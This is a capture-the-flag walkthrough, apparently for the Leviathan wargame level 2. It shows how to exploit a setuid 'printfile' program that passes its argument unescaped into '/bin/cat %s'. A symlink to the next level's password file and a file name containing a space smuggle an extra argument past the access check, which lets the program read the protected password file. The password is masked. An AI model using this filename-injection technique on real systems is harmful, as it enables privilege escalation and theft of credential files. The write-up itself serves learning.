This next challenge gives us another setuid program, this one called printfile. We execute it, and it tells us to, somewhere predictably, give it a file as an agrument. Picking something random that we have access to will echo the contents. However, trying to pass it a file we don’t already have read access to (like say, /etc/leviatha_pass/leviathan3) will end the program with “you can’t have that file…”. We also get this message if we pass the program the name of something that doesn’t exist.

Just for grins, I ran strings against this program as well:

leviathan2@leviathan:~$ strings -d printfile
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
puts
__stack_chk_fail
system
access
__libc_start_main
snprintf
__gmon_start__
GLIBC_2.4
GLIBC_2.0
PTRhp
QVh-
[^_]
*** File Printer ***
Usage: %s filename
You cant have that file...
/bin/cat %s
;*2$"

The thing that caught my eye was the “/bin/cat %s” string. At first, I was wondering if this challenge was path related. I suspected that it might be using an exec call without a fully qualified command that I could abuse by providing my own executable with a similar name. However, we can see that the full path for the command is listed, so that’s not a possibility. What this does imply,however, is that our input is going to be injected into a command, presumably with any quoting or escaping.

So, how do we take advantage of that? We’ve already established that the program will not cat a file for us unless it knows we already have permissions to read it. We’ve also deduced that whatever string we give it is likely going to be injected into the command without any escaping.

leviathan2@leviathan:~$ ln -s /etc/leviathan_pass/leviathan3 levi
leviathan2@leviathan:~$ touch "levi an"
leviathan2@leviathan:~$ ls -als
total 32
4 drwxr-xr-x 1 leviathan2 leviathan2 4096 Sep 14 03:20 .
4 drwxr-xr-x 1 root       root       4096 Sep 13 11:08 ..
4 -rw-r--r-- 1 leviathan2 leviathan2  220 Apr  9  2014 .bash_logout
4 -rw-r--r-- 1 leviathan2 leviathan2 3637 Apr  9  2014 .bashrc
4 drwx------ 2 leviathan2 leviathan2 4096 Sep 14 02:42 .cache
4 -rw-r--r-- 1 leviathan2 leviathan2  675 Apr  9  2014 .profile
0 lrwxrwxrwx 1 leviathan2 leviathan2   30 Sep 14 03:08 levi -> /etc/leviathan_pass/leviathan3
0 -rw-rw-r-- 1 leviathan2 leviathan2    0 Sep 14 03:20 levi an
8 -r-sr-x--- 1 leviathan3 leviathan2 7506 Sep 13 11:08 printfile
leviathan2@leviathan:~$ ./printfile "levi an"
XXXXXXXXXXXXXXXXX
/bin/cat: an: No such file or directory

What happens here is that I create a symbolic link in my home directory to the password file that I want. I then create a second file, and this is where the trick is. My second file has embedded spaces in the name. When I pass the file name to the printfile command, I make sure to quote it so that printfile will interpret it as a single argument. When it verifies that I have read access, it tries to execute the following command: /bin/cat levi an You can see here that the cat command will interpret this as two different files. The second one doesn’t actually exist, but that’s fine, we’ve already gotten what we want.